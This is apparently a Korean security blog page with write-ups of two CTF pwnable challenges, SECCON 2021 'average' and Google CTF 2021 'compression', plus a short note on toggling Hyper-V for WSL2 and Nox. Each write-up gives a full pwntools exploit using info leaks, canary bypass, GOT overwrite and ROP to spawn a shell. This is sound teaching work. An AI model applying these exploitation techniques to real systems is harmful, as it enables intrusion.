'전체 글'에 해당하는 글 3건

Intro

Seccon 2021에 출제된 포너블 문제이다. 

 

Analysis

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    long long n, i;
    long long A[16];
    long long sum, average;

    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    printf("n: ");
    if (scanf("%lld", &n)!=1)
        exit(0);
    for (i=0; i<n; i++)
    {
        printf("A[%lld]: ", i);
        if (scanf("%lld", &A[i])!=1)
            exit(0);
        //  prevent integer overflow in summation
        if (A[i]<-123456789LL || 123456789LL<A[i])
        {
            printf("too large\n");
            exit(0);
        }
    }

    sum = 0;
    for (i=0; i<n; i++)
        sum += A[i];
    average = (sum+n/2)/n;
    printf("Average = %lld\n", average);
}

코드는 간단하다. 

 

취약점은 n에 대한 제한이 없기 때문에 OOB가 트리거 된다.

따라서 stack 값을 overwrite할 수 있는데, 문제는 중간 if문에 의해 123456789 이상의 값은 적을 수 없다.

 

Exploit

leak payload를 짤때는 123456789보다 작기 때문에 상관없지만, libc address는 이 크기를 넘어가기 때문에 고려해야 한다.

 

puts@got를 exit루틴으로 안 가게끔 해주면 되는데, 문제는 movaps error가 발생한다. (stack align이 깨진다.)

 

그 이유는 좀 분석하다가 알게 되었는데, call puts@plt 할 때 sfp가 push(8byte)되기 때문이다. (puts@got는 루틴이 바뀌어있어 sfp는 push 되고 에필로그는 호출되지 않는다.)

 

stack allignment만 맞춰주면 error가 안 나기 때문에, exit@got도 루틴을 적절히 바꿔 8바이트씩 push 되어 allignment를 맞추도록 하였다.

 

나머지 payload 짜는 건 잘 계산해주면 된다.

from pwn import *

s = process("./average")
e = ELF("./average")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

prdi = 0x4013a3
prsi_r15 = 0x4013a1
ret = 0x40101a

#stage1
s.sendlineafter("n: ", "100")

for i in range(16):
    s.sendlineafter(": ", "1")

s.sendlineafter(": ", str(22 + 3)) #n
s.sendlineafter(": ", str(1)) #avr
s.sendlineafter(": ", str(1)) #sum
s.sendlineafter(": ", str(19)) #i
s.sendlineafter(": ", str(1)) #sfp

s.sendlineafter(": ", str(prdi)) #ret

s.sendlineafter(": ", str(e.got['puts'])) #leak
s.sendlineafter(": ", str(e.plt['puts']))
s.sendlineafter(": ", str(0x401176)) #main

s.recvline()
libc_base = u64(s.recv(6)+b"\x00\x00") - libc.sym.puts
system = libc_base + libc.sym.system
binsh = libc_base + list(libc.search(b"/bin/sh"))[0]
rtld_global = libc_base + 0x61bf68
print(hex(libc_base))

#stage2
s.sendlineafter("n: ", "100")

for i in range(16):
    s.sendlineafter(": ", "1")

s.sendlineafter(": ", str(22 + 12)) #n
s.sendlineafter(": ", str(1)) #avr
s.sendlineafter(": ", str(1)) #sum
s.sendlineafter(": ", str(19)) #i
s.sendlineafter(": ", str(1)) #sfp

s.sendlineafter(": ", str(prdi)) #ret

#input()
s.sendlineafter(": ", str(0x402008)) #%lld
s.sendlineafter(": ", str(prsi_r15))
s.sendlineafter(": ", str(e.got['puts']))
s.sendlineafter(": ", str(0))
s.sendlineafter(": ", str(0x401070)) #call _scanf
s.sendlineafter(": ", str(prdi)) 
s.sendlineafter(": ", str(0x402008)) #%lld
s.sendlineafter(": ", str(prsi_r15))
s.sendlineafter(": ", str(e.got['exit']))
s.sendlineafter(": ", str(0))
s.sendlineafter(": ", str(0x401070)) #call _scanf
s.sendlineafter(": ", str(0x401090)) #main

s.sendline(str(0x4012ab))
s.sendline(str(0x4012B5))

#stage3
s.sendlineafter("n: ", "100")

for i in range(16):
    s.sendlineafter(": ", "1")

s.sendlineafter(": ", str(22 + 3)) #n
s.sendlineafter(": ", str(1)) #avr

s.sendlineafter(": ", str(123)) #sum
s.sendlineafter(": ", str(19)) #i
s.sendlineafter(": ", str(1)) #sfp

s.sendlineafter(": ", str(ret)) #ret

s.sendlineafter(": ", str(prdi)) #prdi
s.sendlineafter(": ", str(binsh)) #alignment
s.sendlineafter(": ", str(system))

s.interactive()

ROP payload 한 번에 짜도 되는데, 하다 보니 stage가 나뉘었다.

 

stage1 -> libc leak

stage2 -> puts, exit got를 프로그램 종료하지 않게 routine 바꿈.

stage3 -> system 실행

'System Hacking > CTF Write-up' 카테고리의 다른 글

[Google CTF 2021] compression  (0) 2022.02.02

WRITTEN BY
pwnhyo

,

Intro

Google CTF 2021에 출제된 pwnable 문제이다. 입력으로 주어지는 hex-string에 대하여 압축 알고리즘과 decompress를 수행하는 프로그램이다. 

 

바이너리가 크지는 않았지만, 어느 정도의 분석력이 필요한 퀄리티 있는 문제였다. 재밌다!

 

View

기능은 3가지로 나눠져 있다.

  • 1. Compress string
    • 인풋 hex-string을 프로그램의 특정 압축 알고리즘으로 압축한다.
  • 2. Decompress string
    • 1번에서 압축된 문자열을 인풋으로 넣으면, 압축을 해제한다.
  • 3. Read compression format documentation
    • 문제 설명에 있듯이, 프로그램에서 사용하는 압축 알고리즘에 대한 documentation을 읽는 기능이다.
    • 하지만, 서버에 password 파일을 open read 할 수 없으므로 존재의 의미가 없다.
    • system function symbol을 위한 기능

 

압축 알고리즘은 몇 번의 수동 테스트를 통해 어느정도 규칙을 파악할 수 있었다.

 

1. 54494e5941414243ff0103ff0000 (41414243434343)


2. 54494e5941414241ff0204ff0000 (4141424142414241)

3. 54494e5941414241ff0205ff0000 (414142414241424142)

4. 54494e5941414241ff0206ff0000 (41414241424142414241)

5. 54494e5941414241ff0306ff0000 (41414241414241414241)

6. 54494e5941414241ff0408ff0000 (414142414141424141414241)

7. 54494e5941414241ff0408ff0104ff0000 (41414241414142414141424141414141)

 

위 과정을 통해 알아낸 부분은 다음과 같다.

  • 첫 54494e59 는 metadata이다. 압축 연산에 사용되지 않는다.
  • ff는 compress임을 알려주는 signal 이다.
  • ff 뒤에는 2개의 바이트가 존재한다.
    • 첫 바이트는 압축된 pattern의 크기를 말한다. (이전까지의 decompress 된 문자열의 끝에서부터 pattern 크기를 측정한다.)
    • 두 번째 바이트는 압축된 pattern을 몇 byte까지 반복할 것인지에 대한 값이다.
  • 0000 바이트가 오면 끝을 나타낸다.

일단 압축 알고리즘의 기본적인 틀은 이렇다.

 

하지만, pattern의 크기가 1byte 크기를 넘어가거나 pattern bytes가 1byte 크기를 넘어가면 어떻게 될까?

이는 이후 분석과정에서 확인해보겠지만, 미리 얘기하자면 MSB bit로 다음 바이트까지 연속해서 사용할 수 있다.

 

즉 7bit의 정보만 담고 있는 것이다.

 

압축하는 과정에서는 딱히 할 수 있는 것이 없어 보여, decompress에서 취약점이 발생할 가능성이 커 보여 해당 함수를 분석하였다.

 

Analysis

decompress의 함수의 몇 가지 부분들을 분석해보겠다.

 

0xff is special byte

0xff를 만나기 전까지 output_string에 단순히 복사한다. 0xff를 만나면 아래의 과정을 진행한다.

 

Pattern length & Pattern Bytes

ff 의 다음 바이트는 pattern의 길이를 나타낸다. MSB가 설정되어 있는 경우, 다음 바이트까지 pattern length로 사용한다. (& 7f << shift 진행)

 

7bit에 정보가 담기게 된다.

pattern length

 

pattern을 몇 byte까지 반복할 것 인지에 대한 patternBytes도 같은 알고리즘으로 계산된다.

pattern bytes

 

patternLen과 patternBytes는 signed 자료형이다. 즉, 계산을 통해 음수로 설정할 수 있다. 이는 이후 설명하겠다.

 

Pattern Repetition

 

patternLen과 patternBytes가 존재하면, 해당하는 만큼 output_string에 적는다. output_string에 끝에서 patternLen 만큼 minus 하여 pattern을 구한다.

 

이 부분에서 output_len에 += 증가만 하고, 따로 길이 체크는 하지 않는다. 따라서 overflow가 발생한다. (0xff 이전의 값을 단순 복사할 때는 check 한다.)

 

Exploit

해당 문제는 full mitigation여서 생각하기 쉽지 않다.

Stage1: leak

먼저 overflow를 하기 위해서는 canary leak이 필요하다. 또한 exploit을 위해 pie_base와 libc_base도 구해줘야 한다.

 

leak을 하는 방법은 위 pattern repetition에서 output_string + output_len - patternLen으로부터 pattern을 구해오는데, 

patternLen을 조작하여, stack에 있는 임의 값을 가져오는 것이다.

 

patternLen 은 signed 자료형이기 때문에, main stackframe의 앞, 뒷부분 모두 접근할 수 있다. 잘 계산하면 된다.

 

canary를 구한 다음에는 padding 하여 overflow를 진행하고, return address를 _start로 되돌린다.

스택 내에 _start 함수의 주소가 존재했고, 계산하여 return address로 덮는다.

 

Stage2: ROP

구해진 값들을 스택에 적어주고, padding을 적절히 하여 ret을 덮어주면 된다.

 

from pwn import *

#s = process("./compress")
s = remote("compression.2021.ctfcompetition.com", 1337)
e = ELF("./compress")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

#context.log_level = 'debug'

def pattern_length_gen(n):
    i = 0
    out = 0
    while n != 0 : 
        out |= (n & 0x7f) << (8*i) #7bit를 i 바이트에 담음.
        n = n >> 7 #7bit를 제외한 뒤 남은 n
        
        if n != 0: #표현 값이 남아있음.
            out |= 0x80 << (8*i) # 옆 바이트에 next byte flag를 설정
        i += 1
    numb = out.bit_length()//8 + 1
    b = out.to_bytes(numb, 'little').rstrip(b'\x00')
    return b.hex().encode()

#stage1
stage1_payload = b'54494e59ff' + pattern_length_gen(0x23d8) + pattern_length_gen(8) #canary leak
stage1_payload += b'ff' + pattern_length_gen(2**64 - 0x1018) + pattern_length_gen(8) #two's complement -(-0x1018) start
stage1_payload += b'ff' + pattern_length_gen(2**64 - 0x1028) + pattern_length_gen(8) #libc leak
stage1_payload += b'41ff' + pattern_length_gen(1) + pattern_length_gen(0xff0 - 1) #padding canary
stage1_payload += b'ff' + pattern_length_gen(0xff8+0x10) + pattern_length_gen(8) #canary overwrite
stage1_payload += b'ff' + pattern_length_gen(0x200) + pattern_length_gen(0x28) #padding ret
stage1_payload += b'ff' + pattern_length_gen(0x28+0xff8+0x10) + pattern_length_gen(8) #start overwrite
stage1_payload += b'ff0000'

s.sendlineafter("documentation\n\n", "2")
s.sendlineafter("4k):\n", stage1_payload)

s.recvuntil(":\n")
canary = u64(bytes.fromhex(str(s.recv(16), 'utf-8')))
pie_base = u64(bytes.fromhex(str(s.recv(16), 'utf-8'))) - 0x14e0
libc_base = u64(bytes.fromhex(str(s.recv(16), 'utf-8'))) - 0x0270b3 # 0x0270b3 # libc.sym.__libc_start_main - 231 #
print(hex(canary))
print(hex(pie_base))
print(hex(libc_base))

prdi = pie_base + 0x1b03
system = pie_base + 0x1341
one_shot = libc_base + 0x10a41c
binsh = libc_base + 0x1b75aa # 0x1b75aa # 0x1b3e1a

#stage2
stage2_payload = b'54494e59' + canary.to_bytes(64, 'little').rstrip(b'\x00').hex().encode()
stage2_payload += prdi.to_bytes(48, 'little').rstrip(b'\x00').hex().encode() + b'0000'
stage2_payload += binsh.to_bytes(48, 'little').rstrip(b'\x00').hex().encode() + b'0000'
stage2_payload += system.to_bytes(48, 'little').rstrip(b'\x00').hex().encode() + b'0000'
stage2_payload += b'00ff' + pattern_length_gen(1) + pattern_length_gen(0xfe8 - 1) #padding canary
stage2_payload += b'ff' + pattern_length_gen(0xfe8+0x20) + pattern_length_gen(8) #canary overwrite
stage2_payload += b'ff' + pattern_length_gen(0x200) + pattern_length_gen(0x28) #padding ret
stage2_payload += b'ff' + pattern_length_gen(0x1030) + pattern_length_gen(8) #prdi overwrite
stage2_payload += b'ff' + pattern_length_gen(0x1030) + pattern_length_gen(8) #binsh overwrite
stage2_payload += b'ff' + pattern_length_gen(0x1030) + pattern_length_gen(8) #system overwrite
stage2_payload += b'ff0000'

s.sendlineafter("documentation\n\n", "2")
s.sendlineafter("4k):\n", stage2_payload)

s.interactive()

 

Outro

문제 콘셉이었던 3번 메뉴는 쉘을 획득한 이후에 확인할 수 있다. 분석했던 것과 동일한 것을 알 수 있다.

더보기
# Compression format

(Note to self: the flag is stored in /flag)

1. Header
- u32 MAGIC "TINY"

2. Blocks
- u8 literal
- if literal == 0xff:
  - it's not a literal;
  - varint offset
  - varint length
  - if offset == 0, then special case:
    - if length == 0, EOF
    - if length == 1, literal 0xff

lz77 압축 알고리즘을 기반하여 만든 문제임을 알 수 있다.

압축 알고리즘에서 취약점이 발생하는 점이 인상적이었고, 퀄리티가 좋고 재밌었다. 

'System Hacking > CTF Write-up' 카테고리의 다른 글

[Seccon CTF 2021] average  (0) 2022.02.03

WRITTEN BY
pwnhyo

,

아직 서로 호환이 잘 안되는 듯 하다.

> dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
> dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

를 통해 WSL을 다시 활성화 할 수 있다.

 

다시 Nox를 사용할 경우 복원하기를 이용한다.

 

2021-09-15

 

다른 방법을 찾아서 정리한다.

 

[WSL2 사용시]

bcdedit /set hypervisorlaunchtype auto

 

[Nox, Virtualbox 사용시]

bcdedit /set hypervisorlaunchtype off


WRITTEN BY
pwnhyo

,